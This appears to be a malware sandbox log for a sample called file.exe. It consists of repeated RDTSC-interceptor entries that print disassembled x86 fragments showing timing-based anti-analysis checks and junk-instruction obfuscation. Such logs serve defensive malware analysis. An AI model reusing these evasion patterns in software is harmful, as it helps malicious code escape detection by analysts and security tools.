Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402B6 second address: 4E402BA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402BA second address: 4E402C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E402C0 second address: 4E402C5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4044E second address: 4E4045E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E404E5 second address: 4E40509 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushad 0x0000000f popad 0x00000010 movsx edi, si 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40509 second address: 4E40544 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F9CAD0B9FD1h 0x00000009 xor ax, D1D6h 0x0000000e jmp 00007F9CAD0B9FD1h 0x00000013 popfd 0x00000014 popad 0x00000015 pop edx 0x00000016 pop eax 0x00000017 jg 00007F9D1DD17F1Ah 0x0000001d push eax 0x0000001e push edx 0x0000001f push eax 0x00000020 push edx 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40544 second address: 4E40548 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40548 second address: 4E4055E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4055E second address: 4E4058A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 js 00007F9CAD0B6379h 0x0000000f push eax 0x00000010 push edx 0x00000011 jmp 00007F9CAD0B62D5h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4058A second address: 4E405B1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 cmp dword ptr [ebp-14h], edi 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F9CAD0B9FCDh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405B1 second address: 4E405C1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B62CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405C1 second address: 4E405C5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405C5 second address: 4E405F0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jne 00007F9D1DD14194h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F9CAD0B62D9h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E405F0 second address: 4E40605 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40605 second address: 4E40675 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 call 00007F9CAD0B62D7h 0x00000008 pop eax 0x00000009 movsx ebx, ax 0x0000000c popad 0x0000000d pop edx 0x0000000e pop eax 0x0000000f mov ebx, dword ptr [ebp+08h] 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 pushfd 0x00000016 jmp 00007F9CAD0B62CDh 0x0000001b adc si, AB76h 0x00000020 jmp 00007F9CAD0B62D1h 0x00000025 popfd 0x00000026 pushfd 0x00000027 jmp 00007F9CAD0B62D0h 0x0000002c or ecx, 19E39898h 0x00000032 jmp 00007F9CAD0B62CBh 0x00000037 popfd 0x00000038 popad 0x00000039 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40675 second address: 4E4067B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4067B second address: 4E40728 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b lea eax, dword ptr [ebp-2Ch] 0x0000000e jmp 00007F9CAD0B62D6h 0x00000013 xchg eax, esi 0x00000014 jmp 00007F9CAD0B62D0h 0x00000019 push eax 0x0000001a pushad 0x0000001b pushfd 0x0000001c jmp 00007F9CAD0B62D1h 0x00000021 xor esi, 68D40A46h 0x00000027 jmp 00007F9CAD0B62D1h 0x0000002c popfd 0x0000002d mov esi, 3811DCF7h 0x00000032 popad 0x00000033 xchg eax, esi 0x00000034 jmp 00007F9CAD0B62CAh 0x00000039 nop 0x0000003a push eax 0x0000003b push edx 0x0000003c pushad 0x0000003d jmp 00007F9CAD0B62CDh 0x00000042 pushfd 0x00000043 jmp 00007F9CAD0B62D0h 0x00000048 and ecx, 76CA8148h 0x0000004e jmp 00007F9CAD0B62CBh 0x00000053 popfd 0x00000054 popad 0x00000055 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E407F8 second address: 4E40036 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD2h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a test esi, esi 0x0000000c jmp 00007F9CAD0B9FD0h 0x00000011 je 00007F9D1DD17DFAh 0x00000017 xor eax, eax 0x00000019 jmp 00007F9CAD0936FAh 0x0000001e pop esi 0x0000001f pop edi 0x00000020 pop ebx 0x00000021 leave 0x00000022 retn 0004h 0x00000025 nop 0x00000026 sub esp, 04h 0x00000029 mov edi, eax 0x0000002b xor ebx, ebx 0x0000002d cmp edi, 00000000h 0x00000030 je 00007F9CAD0BA0D4h 0x00000036 call 00007F9CB1338427h 0x0000003b mov edi, edi 0x0000003d pushad 0x0000003e mov dh, ch 0x00000040 mov cx, di 0x00000043 popad 0x00000044 push esp 0x00000045 jmp 00007F9CAD0B9FD0h 0x0000004a mov dword ptr [esp], ebp 0x0000004d push eax 0x0000004e push edx 0x0000004f jmp 00007F9CAD0B9FD7h 0x00000054 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40036 second address: 4E4006E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, 6Fh 0x00000005 jmp 00007F9CAD0B62D0h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d mov ebp, esp 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 movsx edi, si 0x00000015 call 00007F9CAD0B62D6h 0x0000001a pop esi 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4006E second address: 4E4009A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a jmp 00007F9CAD0B9FD0h 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4009A second address: 4E4009E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E4009E second address: 4E400A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400A4 second address: 4E400BD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E400BD second address: 4E400C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D25 second address: 4E40D2B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D2B second address: 4E40D31 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D31 second address: 4E40D35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D35 second address: 4E40D39 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D39 second address: 4E40D80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a pushad 0x0000000b mov edi, 731E3956h 0x00000010 movsx edx, ax 0x00000013 popad 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 jmp 00007F9CAD0B62D4h 0x0000001c popad 0x0000001d popad 0x0000001e xchg eax, ebp 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007F9CAD0B62D7h 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D80 second address: 4E40D86 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E40D86 second address: 4E40DEB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b call 00007F9CAD0B62D8h 0x00000010 mov edx, esi 0x00000012 pop eax 0x00000013 popad 0x00000014 cmp dword ptr [75AF459Ch], 05h 0x0000001b pushad 0x0000001c mov ch, bh 0x0000001e jmp 00007F9CAD0B62D4h 0x00000023 popad 0x00000024 je 00007F9D1DD03EF9h 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F9CAD0B62D7h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50008 second address: 4E5000C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5000C second address: 4E50012 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50012 second address: 4E5002F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FD9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5002F second address: 4E500BF instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b call 00007F9CAD0B62C9h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007F9CAD0B62CCh 0x00000017 or eax, 07C13E78h 0x0000001d jmp 00007F9CAD0B62CBh 0x00000022 popfd 0x00000023 pushfd 0x00000024 jmp 00007F9CAD0B62D8h 0x00000029 adc esi, 46FD58D8h 0x0000002f jmp 00007F9CAD0B62CBh 0x00000034 popfd 0x00000035 popad 0x00000036 push eax 0x00000037 jmp 00007F9CAD0B62D9h 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 push eax 0x00000041 push edx 0x00000042 push eax 0x00000043 push edx 0x00000044 pushad 0x00000045 popad 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500BF second address: 4E500D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E500D9 second address: 4E5011E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b pushad 0x0000000c call 00007F9CAD0B62CFh 0x00000011 mov edx, ecx 0x00000013 pop ecx 0x00000014 mov ecx, ebx 0x00000016 popad 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c mov eax, 4B0FB2D3h 0x00000021 popad 0x00000022 pop eax 0x00000023 push eax 0x00000024 push edx 0x00000025 jmp 00007F9CAD0B62D0h 0x0000002a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5011E second address: 4E50124 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50124 second address: 4E50128 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50128 second address: 4E5012C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5012C second address: 4E5014F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 call 00007F9D1DCFBD04h 0x0000000d push 75A92B70h 0x00000012 push dword ptr fs:[00000000h] 0x00000019 mov eax, dword ptr [esp+10h] 0x0000001d mov dword ptr [esp+10h], ebp 0x00000021 lea ebp, dword ptr [esp+10h] 0x00000025 sub esp, eax 0x00000027 push ebx 0x00000028 push esi 0x00000029 push edi 0x0000002a mov eax, dword ptr [75AF4538h] 0x0000002f xor dword ptr [ebp-04h], eax 0x00000032 xor eax, ebp 0x00000034 push eax 0x00000035 mov dword ptr [ebp-18h], esp 0x00000038 push dword ptr [ebp-08h] 0x0000003b mov eax, dword ptr [ebp-04h] 0x0000003e mov dword ptr [ebp-04h], FFFFFFFEh 0x00000045 mov dword ptr [ebp-08h], eax 0x00000048 lea eax, dword ptr [ebp-10h] 0x0000004b mov dword ptr fs:[00000000h], eax 0x00000051 ret 0x00000052 push eax 0x00000053 push edx 0x00000054 jmp 00007F9CAD0B62D4h 0x00000059 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E5014F second address: 4E50161 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FCEh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E501F6 second address: 4E50263 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop ecx 0x00000005 pushfd 0x00000006 jmp 00007F9CAD0B62CBh 0x0000000b sub cx, E3FEh 0x00000010 jmp 00007F9CAD0B62D9h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 je 00007F9D1DCEAA22h 0x0000001f pushad 0x00000020 jmp 00007F9CAD0B62CCh 0x00000025 mov eax, 57AFFBD1h 0x0000002a popad 0x0000002b cmp dword ptr [ebp+08h], 00002000h 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 jmp 00007F9CAD0B62D6h 0x0000003b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50263 second address: 4E50269 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50269 second address: 4E5026F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C34 second address: 4E50C5E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007F9CAD0B9FD9h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C5E second address: 4E50C71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C71 second address: 4E50C77 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50C77 second address: 4E50CCC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d movzx esi, dx 0x00000010 push edx 0x00000011 pop edx 0x00000012 popad 0x00000013 push eax 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 mov ch, 9Eh 0x00000019 pushfd 0x0000001a jmp 00007F9CAD0B62D7h 0x0000001f xor cl, FFFFFFEEh 0x00000022 jmp 00007F9CAD0B62D9h 0x00000027 popfd 0x00000028 popad 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50CCC second address: 4E50D4F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a jmp 00007F9CAD0B9FCEh 0x0000000f mov esi, dword ptr [ebp+0Ch] 0x00000012 jmp 00007F9CAD0B9FD0h 0x00000017 test esi, esi 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c pushfd 0x0000001d jmp 00007F9CAD0B9FCDh 0x00000022 or al, 00000036h 0x00000025 jmp 00007F9CAD0B9FD1h 0x0000002a popfd 0x0000002b pushfd 0x0000002c jmp 00007F9CAD0B9FD0h 0x00000031 sbb esi, 4CF46058h 0x00000037 jmp 00007F9CAD0B9FCBh 0x0000003c popfd 0x0000003d popad 0x0000003e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D4F second address: 4E50D54 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D54 second address: 4E50D76 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 57EC8F88h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c je 00007F9D1DCF761Dh 0x00000012 pushad 0x00000013 mov ah, dh 0x00000015 mov al, 28h 0x00000017 popad 0x00000018 cmp dword ptr [75AF459Ch], 05h 0x0000001f pushad 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50D76 second address: 4E50D8F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov edi, 0FD42EDAh 0x00000009 popad 0x0000000a je 00007F9D1DD0B9DDh 0x00000010 push eax 0x00000011 push edx 0x00000012 pushad 0x00000013 mov di, cx 0x00000016 pushad 0x00000017 popad 0x00000018 popad 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E5B second address: 4E50E5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E5F second address: 4E50E7C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B62D9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E7C second address: 4E50E8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F9CAD0B9FCCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50E8C second address: 4E50E90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50ECC second address: 4E50ED2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50ED2 second address: 4E50ED8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4E50ED8 second address: 4E50F32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F9CAD0B9FD8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov ebx, 284AC890h 0x00000014 pushfd 0x00000015 jmp 00007F9CAD0B9FD9h 0x0000001a sbb ecx, 5446FB16h 0x00000020 jmp 00007F9CAD0B9FD1h 0x00000025 popfd 0x00000026 popad 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EE514 second address: 63EE518 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EDD69 second address: 63EDD6D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 63EDD6D second address: 63EDD77 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F9CAD0B62C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656E349 second address: 656E34D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656E34D second address: 656E361 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F9CAD0B62CEh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656D4CF second address: 656D4E1 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F9CAD0B9FC6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push edi 0x0000000b jl 00007F9CAD0B9FC6h 0x00000011 pop edi 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656D652 second address: 656D673 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push esi 0x00000005 pop esi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F9CAD0B62D9h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656DBCF second address: 656DBDF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F9CAD0B9FC6h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 656DBDF second address: 656DBE5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657030F second address: 6570319 instructions: 0x00000000 rdtsc 0x00000002 ja 00007F9CAD0B9FCCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6570319 second address: 657035B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push eax 0x0000000a call 00007F9CAD0B62C8h 0x0000000f pop eax 0x00000010 mov dword ptr [esp+04h], eax 0x00000014 add dword ptr [esp+04h], 0000001Ah 0x0000001c inc eax 0x0000001d push eax 0x0000001e ret 0x0000001f pop eax 0x00000020 ret 0x00000021 push 00000000h 0x00000023 mov dword ptr [ebp+122D2D75h], ecx 0x00000029 mov ch, al 0x0000002b call 00007F9CAD0B62C9h 0x00000030 push eax 0x00000031 push edx 0x00000032 push eax 0x00000033 push edx 0x00000034 push eax 0x00000035 push edx 0x00000036 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657035B second address: 657035F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657035F second address: 6570365 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6570365 second address: 657036B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 657036B second address: 6570378 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6570378 second address: 6570382 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6570382 second address: 6570390 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov eax, dword ptr [esp+04h] 0x0000000a push eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
